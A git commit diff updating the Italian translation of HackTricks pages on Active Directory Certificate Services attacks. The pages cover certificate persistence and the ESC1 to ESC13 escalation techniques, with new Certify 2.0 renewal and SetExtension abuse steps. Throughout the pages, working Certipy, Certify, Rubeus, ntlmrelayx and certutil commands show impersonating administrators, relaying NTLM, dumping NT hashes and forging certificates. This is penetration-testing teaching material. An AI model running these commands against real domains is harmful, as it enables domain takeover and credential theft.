mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/ad-certi
This commit is contained in:
Translator
parent
3c78afb1f1
commit
1208e1cd75
@ -38,8 +38,19 @@ Questo accesso consente all'attaccante di autenticarsi a **Kerberos** come accou
|
||||
|
||||
## **Estensione della Persistenza Tramite Rinnovo del Certificato - PERSIST3**
|
||||
|
||||
Il metodo finale discusso implica l'utilizzo della **validità** e dei **periodi di rinnovo** dei modelli di certificato. Rinnovando un certificato prima della sua scadenza, un attaccante può mantenere l'autenticazione ad Active Directory senza la necessità di ulteriori registrazioni di ticket, che potrebbero lasciare tracce sul server dell'Autorità di Certificazione (CA).
|
||||
Il metodo finale discusso implica l'utilizzo della **validità** e dei **periodi di rinnovo** dei modelli di certificato. Rinnovando un certificato prima della sua scadenza, un attaccante può mantenere l'autenticazione ad Active Directory senza la necessità di ulteriori iscrizioni ai ticket, che potrebbero lasciare tracce sul server dell'Autorità di Certificazione (CA).
|
||||
|
||||
Questo approccio consente un metodo di **persistenza estesa**, riducendo il rischio di rilevamento attraverso interazioni minori con il server CA e evitando la generazione di artefatti che potrebbero allertare gli amministratori sull'intrusione.
|
||||
### Rinnovo del Certificato con Certify 2.0
|
||||
|
||||
A partire da **Certify 2.0**, il flusso di lavoro per il rinnovo è completamente automatizzato tramite il nuovo comando `request-renew`. Dato un certificato precedentemente emesso (in formato **base-64 PKCS#12**), un attaccante può rinnovarlo senza interagire con il proprietario originale – perfetto per una persistenza furtiva e a lungo termine:
|
||||
```powershell
|
||||
Certify.exe request-renew --ca SERVER\\CA-NAME \
|
||||
--cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA... # original PFX
|
||||
```
|
||||
Il comando restituirà un nuovo PFX valido per un altro periodo di vita completo, consentendoti di continuare ad autenticarti anche dopo che il primo certificato è scaduto o è stato revocato.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**Questo è un riepilogo delle sezioni delle tecniche di escalation dei post:**
|
||||
|
||||
- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
|
||||
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
## Modelli di Certificato Malconfigurati - ESC1
|
||||
## Modelli di Certificato Mal Configurati - ESC1
|
||||
|
||||
### Spiegazione
|
||||
|
||||
### Modelli di Certificato Malconfigurati - ESC1 Spiegato
|
||||
### Modelli di Certificato Mal Configurati - ESC1 Spiegato
|
||||
|
||||
- **I diritti di iscrizione sono concessi a utenti a bassa privilegio da parte dell'Enterprise CA.**
|
||||
- **L'approvazione del manager non è richiesta.**
|
||||
@ -50,7 +49,7 @@ certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.lo
|
||||
```
|
||||
I file binari di Windows "Certreq.exe" e "Certutil.exe" possono essere utilizzati per generare il PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
L'enumerazione dei modelli di certificato all'interno dello schema di configurazione della foresta AD, specificamente quelli che non richiedono approvazione o firme, che possiedono un EKU di Autenticazione Client o Accesso con Smart Card, e con il flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato, può essere eseguita eseguendo la seguente query LDAP:
|
||||
L'enumerazione dei modelli di certificato all'interno dello schema di configurazione dell'AD Forest, specificamente quelli che non richiedono approvazione o firme, che possiedono un EKU di Client Authentication o Smart Card Logon, e con il flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` abilitato, può essere eseguita eseguendo la seguente query LDAP:
|
||||
```
|
||||
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
|
||||
```
|
||||
@ -61,7 +60,7 @@ L'enumerazione dei modelli di certificato all'interno dello schema di configuraz
|
||||
Il secondo scenario di abuso è una variazione del primo:
|
||||
|
||||
1. I diritti di registrazione sono concessi a utenti a bassa privilegi da parte dell'Enterprise CA.
|
||||
2. Il requisito di approvazione del manager è disabilitato.
|
||||
2. Il requisito per l'approvazione del manager è disabilitato.
|
||||
3. La necessità di firme autorizzate è omessa.
|
||||
4. Un descrittore di sicurezza eccessivamente permissivo sul modello di certificato concede diritti di registrazione del certificato a utenti a bassa privilegi.
|
||||
5. **Il modello di certificato è definito per includere l'Any Purpose EKU o nessun EKU.**
|
||||
@ -82,7 +81,7 @@ Per enumerare i modelli che corrispondono a questo scenario all'interno dello sc
|
||||
|
||||
Questo scenario è simile al primo e al secondo, ma **abusa** di un **EKU** (Agente di Richiesta di Certificato) **diverso** e **2 modelli** diversi (pertanto ha 2 set di requisiti),
|
||||
|
||||
L'**EKU di Richiesta di Certificato** (OID 1.3.6.1.4.1.311.20.2.1), noto come **Agente di Registrazione** nella documentazione Microsoft, consente a un principale di **registrarsi** per un **certificato** per **conto di un altro utente**.
|
||||
L'**EKU di Agente di Richiesta di Certificato** (OID 1.3.6.1.4.1.311.20.2.1), noto come **Agente di Registrazione** nella documentazione Microsoft, consente a un principale di **registrarsi** per un **certificato** per **conto di un altro utente**.
|
||||
|
||||
L'**“agente di registrazione”** si registra in un **modello** e utilizza il **certificato risultante per co-firmare un CSR per conto dell'altro utente**. Poi **invia** il **CSR co-firmato** all'CA, registrandosi in un **modello** che **permette “registrarsi per conto di”**, e l'CA risponde con un **certificato appartenente all'“altro” utente**.
|
||||
|
||||
@ -92,13 +91,13 @@ L'**“agente di registrazione”** si registra in un **modello** e utilizza il
|
||||
- Il requisito per l'approvazione del manager è omesso.
|
||||
- Nessun requisito per firme autorizzate.
|
||||
- Il descrittore di sicurezza del modello di certificato è eccessivamente permissivo, concedendo diritti di registrazione a utenti a basso privilegio.
|
||||
- Il modello di certificato include l'EKU di Richiesta di Certificato, abilitando la richiesta di altri modelli di certificato per conto di altri principali.
|
||||
- Il modello di certificato include l'EKU di Agente di Richiesta di Certificato, abilitando la richiesta di altri modelli di certificato per conto di altri principali.
|
||||
|
||||
**Requisiti 2:**
|
||||
|
||||
- L'Enterprise CA concede diritti di registrazione a utenti a basso privilegio.
|
||||
- L'approvazione del manager è bypassata.
|
||||
- La versione dello schema del modello è 1 o supera 2, e specifica un Requisito di Emissione di Politica Applicativa che richiede l'EKU di Richiesta di Certificato.
|
||||
- La versione dello schema del modello è 1 o supera 2, e specifica un Requisito di Emissione di Politica Applicativa che richiede l'EKU di Agente di Richiesta di Certificato.
|
||||
- Un EKU definito nel modello di certificato consente l'autenticazione del dominio.
|
||||
- Le restrizioni per gli agenti di registrazione non sono applicate sull'CA.
|
||||
|
||||
@ -118,9 +117,9 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
||||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
Gli **utenti** che sono autorizzati a **ottenere** un **certificato di agente di registrazione**, i modelli nei quali gli **agenti** di registrazione sono autorizzati a registrarsi e gli **account** per conto dei quali l'agente di registrazione può agire possono essere limitati dalle CA aziendali. Questo si ottiene aprendo il `certsrc.msc` **snap-in**, **facendo clic con il tasto destro sulla CA**, **selezionando Proprietà**, e poi **navigando** alla scheda “Agenti di registrazione”.
|
||||
Gli **utenti** che sono autorizzati a **ottenere** un **certificato di agente di registrazione**, i modelli nei quali gli **agenti** di registrazione sono autorizzati a registrarsi e gli **account** per conto dei quali l'agente di registrazione può agire possono essere limitati dalle CA aziendali. Questo si ottiene aprendo il `certsrc.msc` **snap-in**, **facendo clic con il tasto destro sulla CA**, **cliccando su Proprietà**, e poi **navigando** alla scheda “Agenti di registrazione”.
|
||||
|
||||
Tuttavia, si nota che l'impostazione **predefinita** per le CA è “**Non limitare gli agenti di registrazione**.” Quando la restrizione sugli agenti di registrazione è abilitata dagli amministratori, impostandola su “Limitare gli agenti di registrazione,” la configurazione predefinita rimane estremamente permissiva. Consente l'accesso a **Tutti** per registrarsi in tutti i modelli come chiunque.
|
||||
Tuttavia, si nota che l'impostazione **predefinita** per le CA è di “**Non limitare gli agenti di registrazione**.” Quando la restrizione sugli agenti di registrazione è abilitata dagli amministratori, impostandola su “Limitare gli agenti di registrazione,” la configurazione predefinita rimane estremamente permissiva. Consente l'accesso a **Tutti** per registrarsi in tutti i modelli come chiunque.
|
||||
|
||||
## Controllo degli accessi ai modelli di certificato vulnerabili - ESC4
|
||||
|
||||
@ -130,12 +129,12 @@ Il **descrittore di sicurezza** sui **modelli di certificato** definisce le **au
|
||||
|
||||
Se un **attaccante** possiede le necessarie **autorizzazioni** per **modificare** un **modello** e **istituire** eventuali **misconfigurazioni sfruttabili** delineate nelle **sezioni precedenti**, l'escalation dei privilegi potrebbe essere facilitata.
|
||||
|
||||
Le autorizzazioni notevoli applicabili ai modelli di certificato includono:
|
||||
Le autorizzazioni note applicabili ai modelli di certificato includono:
|
||||
|
||||
- **Proprietario:** Concede il controllo implicito sull'oggetto, consentendo la modifica di qualsiasi attributo.
|
||||
- **FullControl:** Abilita l'autorità completa sull'oggetto, inclusa la capacità di modificare qualsiasi attributo.
|
||||
- **WriteOwner:** Permette la modifica del proprietario dell'oggetto a un principale sotto il controllo dell'attaccante.
|
||||
- **WriteDacl:** Consente l'aggiustamento dei controlli di accesso, potenzialmente concedendo a un attaccante FullControl.
|
||||
- **WriteDacl:** Consente la regolazione dei controlli di accesso, potenzialmente concedendo a un attaccante FullControl.
|
||||
- **WriteProperty:** Autorizza la modifica di qualsiasi proprietà dell'oggetto.
|
||||
|
||||
### Abuso
|
||||
@ -146,7 +145,7 @@ Un esempio di privesc come il precedente:
|
||||
|
||||
ESC4 è quando un utente ha privilegi di scrittura su un modello di certificato. Questo può essere abusato, ad esempio, per sovrascrivere la configurazione del modello di certificato per renderlo vulnerabile a ESC1.
|
||||
|
||||
Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo edge `AddKeyCredentialLink` verso `JOHNPC`. Poiché questa tecnica è correlata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco un piccolo assaggio del comando `shadow auto` di Certipy per recuperare l'hash NT della vittima.
|
||||
Come possiamo vedere nel percorso sopra, solo `JOHNPC` ha questi privilegi, ma il nostro utente `JOHN` ha il nuovo edge `AddKeyCredentialLink` a `JOHNPC`. Poiché questa tecnica è correlata ai certificati, ho implementato anche questo attacco, noto come [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Ecco un piccolo assaggio del comando `shadow auto` di Certipy per recuperare l'hash NT della vittima.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
@ -177,7 +176,7 @@ La sicurezza del sistema PKI può essere compromessa se un attaccante a basso pr
|
||||
|
||||
### Spiegazione
|
||||
|
||||
L'argomento discusso nel [**post di CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) tocca anche le implicazioni del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, come delineato da Microsoft. Questa configurazione, quando attivata su un'Autorità di Certificazione (CA), consente l'inclusione di **valori definiti dall'utente** nel **nome alternativo del soggetto** per **qualsiasi richiesta**, comprese quelle costruite da Active Directory®. Di conseguenza, questa disposizione consente a un **intruso** di registrarsi attraverso **qualsiasi modello** impostato per l'**autenticazione** del dominio—specificamente quelli aperti alla registrazione di utenti **non privilegiati**, come il modello standard Utente. Di conseguenza, un certificato può essere ottenuto, consentendo all'intruso di autenticarsi come amministratore di dominio o **qualsiasi altra entità attiva** all'interno del dominio.
|
||||
L'argomento discusso nel [**post di CQure Academy**](https://cqureacademy.com/blog/enhanced-key-usage) tocca anche le implicazioni del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, come delineato da Microsoft. Questa configurazione, quando attivata su un'Autorità di Certificazione (CA), consente l'inclusione di **valori definiti dall'utente** nel **nome alternativo del soggetto** per **qualsiasi richiesta**, comprese quelle costruite da Active Directory®. Di conseguenza, questa disposizione consente a un **intruso** di registrarsi tramite **qualsiasi modello** impostato per l'**autenticazione** del dominio—specificamente quelli aperti alla registrazione di utenti **non privilegiati**, come il modello standard Utente. Di conseguenza, un certificato può essere ottenuto, consentendo all'intruso di autenticarsi come amministratore di dominio o **qualsiasi altra entità attiva** all'interno del dominio.
|
||||
|
||||
**Nota**: L'approccio per aggiungere **nomi alternativi** in una Richiesta di Firma del Certificato (CSR), attraverso l'argomento `-attrib "SAN:"` in `certreq.exe` (definito come “Name Value Pairs”), presenta un **contrasto** rispetto alla strategia di sfruttamento degli SAN in ESC1. Qui, la distinzione risiede in **come le informazioni sull'account sono incapsulate**—all'interno di un attributo del certificato, piuttosto che in un'estensione.
|
||||
|
||||
@ -209,24 +208,24 @@ Per disabilitare questa configurazione nel tuo ambiente, il flag può essere rim
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
> [!WARNING]
|
||||
> Dopo gli aggiornamenti di sicurezza di maggio 2022, i **certificati** emessi di recente conterranno un **estensione di sicurezza** che incorpora la proprietà `objectSid` del **richiedente**. Per ESC1, questo SID è derivato dal SAN specificato. Tuttavia, per **ESC6**, il SID rispecchia l'**`objectSid` del richiedente**, non il SAN.\
|
||||
> Dopo gli aggiornamenti di sicurezza di maggio 2022, i **certificati** emessi di recente conterranno un **estensione di sicurezza** che incorpora la proprietà `objectSid` del **richiedente**. Per ESC1, questo SID è derivato dal SAN specificato. Tuttavia, per **ESC6**, il SID rispecchia l'`objectSid` del **richiedente**, non il SAN.\
|
||||
> Per sfruttare ESC6, è essenziale che il sistema sia suscettibile a ESC10 (Mappature di Certificati Deboli), che dà priorità al **SAN rispetto alla nuova estensione di sicurezza**.
|
||||
|
||||
## Controllo degli Accessi dell'Autorità di Certificazione Vulnerabile - ESC7
|
||||
## Controllo Accesso Autorità di Certificazione Vulnerabile - ESC7
|
||||
|
||||
### Attacco 1
|
||||
|
||||
#### Spiegazione
|
||||
|
||||
Il controllo degli accessi per un'autorità di certificazione è mantenuto attraverso un insieme di permessi che governano le azioni della CA. Questi permessi possono essere visualizzati accedendo a `certsrv.msc`, facendo clic con il tasto destro su una CA, selezionando proprietà e poi navigando alla scheda Sicurezza. Inoltre, i permessi possono essere enumerati utilizzando il modulo PSPKI con comandi come:
|
||||
Il controllo accesso per un'autorità di certificazione è mantenuto attraverso un insieme di permessi che governano le azioni della CA. Questi permessi possono essere visualizzati accedendo a `certsrv.msc`, facendo clic con il tasto destro su una CA, selezionando proprietà e poi navigando alla scheda Sicurezza. Inoltre, i permessi possono essere enumerati utilizzando il modulo PSPKI con comandi come:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
Questo fornisce informazioni sui diritti principali, ovvero **`ManageCA`** e **`ManageCertificates`**, che corrispondono ai ruoli di “amministratore CA” e “gestore certificati” rispettivamente.
|
||||
Questo fornisce informazioni sui diritti principali, ovvero **`ManageCA`** e **`ManageCertificates`**, correlati ai ruoli di “amministratore CA” e “gestore certificati” rispettivamente.
|
||||
|
||||
#### Abuso
|
||||
|
||||
Avere diritti **`ManageCA`** su un'autorità di certificazione consente al principale di manipolare le impostazioni da remoto utilizzando PSPKI. Questo include l'attivazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica di SAN in qualsiasi modello, un aspetto critico dell'escalation del dominio.
|
||||
Avere diritti **`ManageCA`** su un'autorità di certificazione consente al principale di manipolare le impostazioni da remoto utilizzando PSPKI. Questo include l'attivazione del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`** per consentire la specifica SAN in qualsiasi modello, un aspetto critico dell'escalation del dominio.
|
||||
|
||||
La semplificazione di questo processo è realizzabile attraverso l'uso del cmdlet **Enable-PolicyModuleFlag** di PSPKI, che consente modifiche senza interazione diretta con l'interfaccia grafica.
|
||||
|
||||
@ -286,7 +285,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
|
||||
```
|
||||
Se abbiamo soddisfatto i requisiti per questo attacco, possiamo iniziare **richiedendo un certificato basato sul modello `SubCA`**.
|
||||
Se abbiamo soddisfatto i requisiti per questo attacco, possiamo iniziare **richiedendo un certificato basato sul template `SubCA`**.
|
||||
|
||||
**Questa richiesta verrà negata**, ma salveremo la chiave privata e annoteremo l'ID della richiesta.
|
||||
```bash
|
||||
@ -319,21 +318,61 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
## NTLM Relay to AD CS HTTP Endpoints – ESC8
|
||||
### Attacco 3 – Abuso dell'Estensione Gestisci Certificati (SetExtension)
|
||||
|
||||
#### Spiegazione
|
||||
|
||||
Oltre agli abusi classici di ESC7 (abilitare attributi EDITF o approvare richieste in attesa), **Certify 2.0** ha rivelato un nuovo primitivo che richiede solo il ruolo di *Gestisci Certificati* (alias **Certificate Manager / Officer**) sulla CA aziendale.
|
||||
|
||||
Il metodo RPC `ICertAdmin::SetExtension` può essere eseguito da qualsiasi principale che detiene *Gestisci Certificati*. Mentre il metodo è tradizionalmente utilizzato da CAs legittimi per aggiornare le estensioni su richieste **in attesa**, un attaccante può abusarne per **aggiungere un'estensione di certificato *non predefinita*** (ad esempio un OID *Certificate Issuance Policy* personalizzato come `1.1.1.1`) a una richiesta che è in attesa di approvazione.
|
||||
|
||||
Poiché il modello mirato **non definisce un valore predefinito per quell'estensione**, la CA NON sovrascriverà il valore controllato dall'attaccante quando la richiesta verrà eventualmente emessa. Il certificato risultante contiene quindi un'estensione scelta dall'attaccante che può:
|
||||
|
||||
* Soddisfare i requisiti di Application / Issuance Policy di altri modelli vulnerabili (portando a un'elevazione di privilegi).
|
||||
* Iniettare EKUs o politiche aggiuntive che conferiscono al certificato una fiducia inaspettata nei sistemi di terze parti.
|
||||
|
||||
In breve, *Gestisci Certificati* – precedentemente considerato la parte “meno potente” di ESC7 – può ora essere sfruttato per un'elevazione di privilegi completa o una persistenza a lungo termine, senza toccare la configurazione della CA o richiedere il diritto più restrittivo di *Gestisci CA*.
|
||||
|
||||
#### Abuso del primitivo con Certify 2.0
|
||||
|
||||
1. **Invia una richiesta di certificato che rimarrà *in attesa*.** Questo può essere forzato con un modello che richiede l'approvazione del manager:
|
||||
```powershell
|
||||
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
|
||||
# Prendi nota dell'ID Richiesta restituito
|
||||
```
|
||||
|
||||
2. **Aggiungi un'estensione personalizzata alla richiesta in attesa** utilizzando il nuovo comando `manage-ca`:
|
||||
```powershell
|
||||
Certify.exe manage-ca --ca SERVER\\CA-NAME \
|
||||
--request-id 1337 \
|
||||
--set-extension "1.1.1.1=DER,10,01 01 00 00" # OID di policy di emissione falsa
|
||||
```
|
||||
*Se il modello non definisce già l'estensione *Certificate Issuance Policies*, il valore sopra sarà preservato dopo l'emissione.*
|
||||
|
||||
3. **Emetti la richiesta** (se il tuo ruolo ha anche diritti di approvazione *Gestisci Certificati*) o aspetta che un operatore la approvi. Una volta emesso, scarica il certificato:
|
||||
```powershell
|
||||
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
|
||||
```
|
||||
|
||||
4. Il certificato risultante ora contiene l'OID di policy di emissione malevola e può essere utilizzato in attacchi successivi (ad es. ESC13, elevazione di dominio, ecc.).
|
||||
|
||||
> NOTA: Lo stesso attacco può essere eseguito con Certipy ≥ 4.7 tramite il comando `ca` e il parametro `-set-extension`.
|
||||
|
||||
## NTLM Relay verso Endpoint HTTP AD CS – ESC8
|
||||
|
||||
### Spiegazione
|
||||
|
||||
> [!TIP]
|
||||
> In ambienti in cui **AD CS è installato**, se esiste un **endpoint di registrazione web vulnerabile** e almeno un **modello di certificato è pubblicato** che consente **l'iscrizione di computer di dominio e l'autenticazione dei client** (come il modello predefinito **`Machine`**), diventa possibile per **qualsiasi computer con il servizio spooler attivo essere compromesso da un attaccante**!
|
||||
> In ambienti in cui **AD CS è installato**, se esiste un **endpoint di registrazione web vulnerabile** e almeno un **modello di certificato è pubblicato** che consente **l'iscrizione di computer di dominio e l'autenticazione del client** (come il modello predefinito **`Machine`**), diventa possibile per **qualsiasi computer con il servizio spooler attivo essere compromesso da un attaccante**!
|
||||
|
||||
Diversi **metodi di registrazione basati su HTTP** sono supportati da AD CS, resi disponibili attraverso ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per la registrazione di certificati basata su HTTP sono suscettibili a **attacchi di relay NTLM**. Un attaccante, da una **macchina compromessa, può impersonare qualsiasi account AD che si autentica tramite NTLM in entrata**. Mentre impersona l'account vittima, queste interfacce web possono essere accessibili da un attaccante per **richiedere un certificato di autenticazione client utilizzando i modelli di certificato `User` o `Machine`**.
|
||||
Diversi **metodi di registrazione basati su HTTP** sono supportati da AD CS, resi disponibili attraverso ruoli server aggiuntivi che gli amministratori possono installare. Queste interfacce per la registrazione di certificati basata su HTTP sono suscettibili ad **attacchi di relay NTLM**. Un attaccante, da una **macchina compromessa, può impersonare qualsiasi account AD che si autentica tramite NTLM in entrata**. Mentre impersona l'account vittima, queste interfacce web possono essere accessibili da un attaccante per **richiedere un certificato di autenticazione client utilizzando i modelli di certificato `User` o `Machine`**.
|
||||
|
||||
- L'**interfaccia di registrazione web** (un'applicazione ASP più vecchia disponibile su `http://<caserver>/certsrv/`), per impostazione predefinita utilizza solo HTTP, che non offre protezione contro gli attacchi di relay NTLM. Inoltre, consente esplicitamente solo l'autenticazione NTLM attraverso il suo header HTTP di autorizzazione, rendendo inapplicabili metodi di autenticazione più sicuri come Kerberos.
|
||||
- Il **Certificate Enrollment Service** (CES), il **Certificate Enrollment Policy** (CEP) Web Service e il **Network Device Enrollment Service** (NDES) supportano per impostazione predefinita l'autenticazione negotiate tramite il loro header HTTP di autorizzazione. L'autenticazione negotiate **supporta sia** Kerberos che **NTLM**, consentendo a un attaccante di **downgradare a NTLM** durante gli attacchi di relay. Sebbene questi servizi web abilitino HTTPS per impostazione predefinita, HTTPS da solo **non protegge contro gli attacchi di relay NTLM**. La protezione dagli attacchi di relay NTLM per i servizi HTTPS è possibile solo quando HTTPS è combinato con il channel binding. Sfortunatamente, AD CS non attiva la Protezione Estesa per l'Autenticazione su IIS, che è necessaria per il channel binding.
|
||||
- Il **Servizio di Registrazione Certificati** (CES), il **Servizio Web di Politica di Registrazione Certificati** (CEP) e il **Servizio di Registrazione Dispositivi di Rete** (NDES) supportano per impostazione predefinita l'autenticazione negoziata tramite il loro header HTTP di autorizzazione. L'autenticazione negoziata **supporta sia** Kerberos che **NTLM**, consentendo a un attaccante di **downgradare all'autenticazione NTLM** durante gli attacchi di relay. Sebbene questi servizi web abilitino HTTPS per impostazione predefinita, HTTPS da solo **non protegge dagli attacchi di relay NTLM**. La protezione dagli attacchi di relay NTLM per i servizi HTTPS è possibile solo quando HTTPS è combinato con il binding del canale. Sfortunatamente, AD CS non attiva la Protezione Estesa per l'Autenticazione su IIS, che è necessaria per il binding del canale.
|
||||
|
||||
Un comune **problema** con gli attacchi di relay NTLM è la **breve durata delle sessioni NTLM** e l'incapacità dell'attaccante di interagire con i servizi che **richiedono la firma NTLM**.
|
||||
|
||||
Tuttavia, questa limitazione viene superata sfruttando un attacco di relay NTLM per acquisire un certificato per l'utente, poiché il periodo di validità del certificato determina la durata della sessione, e il certificato può essere utilizzato con servizi che **richiedono la firma NTLM**. Per istruzioni su come utilizzare un certificato rubato, fare riferimento a:
|
||||
Tuttavia, questa limitazione è superata sfruttando un attacco di relay NTLM per acquisire un certificato per l'utente, poiché il periodo di validità del certificato determina la durata della sessione, e il certificato può essere impiegato con servizi che **richiedono la firma NTLM**. Per istruzioni su come utilizzare un certificato rubato, fare riferimento a:
|
||||
|
||||
{{#ref}}
|
||||
account-persistence.md
|
||||
@ -417,7 +456,7 @@ Inizialmente, l'hash di `Jane` viene acquisito utilizzando Shadow Credentials, g
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
|
||||
```
|
||||
Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo volutamente la parte del dominio `@corp.local`:
|
||||
Successivamente, il `userPrincipalName` di `Jane` viene modificato in `Administrator`, omettendo deliberatamente la parte del dominio `@corp.local`:
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
|
||||
```
|
||||
@ -488,7 +527,7 @@ Qui, l'obiettivo è compromettere `DC$@corp.local`, iniziando con l'ottenere l'h
|
||||
```bash
|
||||
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
|
||||
```
|
||||
`Jane`'s `userPrincipalName` è quindi impostato su `DC$@corp.local`.
|
||||
Il `userPrincipalName` di `Jane` è quindi impostato su `DC$@corp.local`.
|
||||
```bash
|
||||
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
|
||||
```
|
||||
@ -514,7 +553,7 @@ Questa vulnerabilità si estende anche a qualsiasi account utente privo di un `u
|
||||
|
||||
### Spiegazione
|
||||
|
||||
Se il server CA non è configurato con `IF_ENFORCEENCRYPTICERTREQUEST`, può essere soggetto ad attacchi di relay NTLM senza firma tramite il servizio RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
Se il server CA non è configurato con `IF_ENFORCEENCRYPTICERTREQUEST`, può consentire attacchi di relay NTLM senza firma tramite il servizio RPC. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
|
||||
|
||||
Puoi usare `certipy` per enumerare se `Enforce Encryption for Requests` è disabilitato e certipy mostrerà le vulnerabilità `ESC11`.
|
||||
```bash
|
||||
@ -556,7 +595,7 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
|
||||
```
|
||||
Nota: Per i controller di dominio, dobbiamo specificare `-template` in DomainController.
|
||||
|
||||
Oppure usando [il fork di impacket di sploutchy](https://github.com/sploutchy/impacket):
|
||||
Oppure utilizzando [il fork di impacket di sploutchy](https://github.com/sploutchy/impacket):
|
||||
```bash
|
||||
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
|
||||
```
|
||||
@ -576,7 +615,7 @@ Riferimento [qui](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-wi
|
||||
|
||||
Se la chiave privata della CA è memorizzata su un dispositivo USB fisico quando hai ottenuto accesso shell, è possibile recuperare la chiave.
|
||||
|
||||
In primo luogo, è necessario ottenere il certificato CA (questo è pubblico) e poi:
|
||||
Per prima cosa, devi ottenere il certificato CA (questo è pubblico) e poi:
|
||||
```cmd
|
||||
# import it to the user store with CA certificate
|
||||
$ certutil -addstore -user my <CA certificate file>
|
||||
@ -584,7 +623,7 @@ $ certutil -addstore -user my <CA certificate file>
|
||||
# Associated with the private key in the YubiHSM2 device
|
||||
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
|
||||
```
|
||||
Infine, utilizza il comando certutil `-sign` per forgiare un nuovo certificato arbitrario utilizzando il certificato CA e la sua chiave privata.
|
||||
Infine, usa il comando certutil `-sign` per forgiare un nuovo certificato arbitrario utilizzando il certificato CA e la sua chiave privata.
|
||||
|
||||
## Abuso del Link del Gruppo OID - ESC13
|
||||
|
||||
@ -594,7 +633,7 @@ L'attributo `msPKI-Certificate-Policy` consente di aggiungere la policy di emiss
|
||||
|
||||
In altre parole, quando un utente ha il permesso di registrare un certificato e il certificato è collegato a un gruppo OID, l'utente può ereditare i privilegi di questo gruppo.
|
||||
|
||||
Utilizza [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) per trovare OIDToGroupLink:
|
||||
Usa [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) per trovare OIDToGroupLink:
|
||||
```bash
|
||||
Enumerating OIDs
|
||||
------------------------
|
||||
@ -620,7 +659,7 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
|
||||
|
||||
Trova un permesso utente che può utilizzare `certipy find` o `Certify.exe find /showAllPermissions`.
|
||||
|
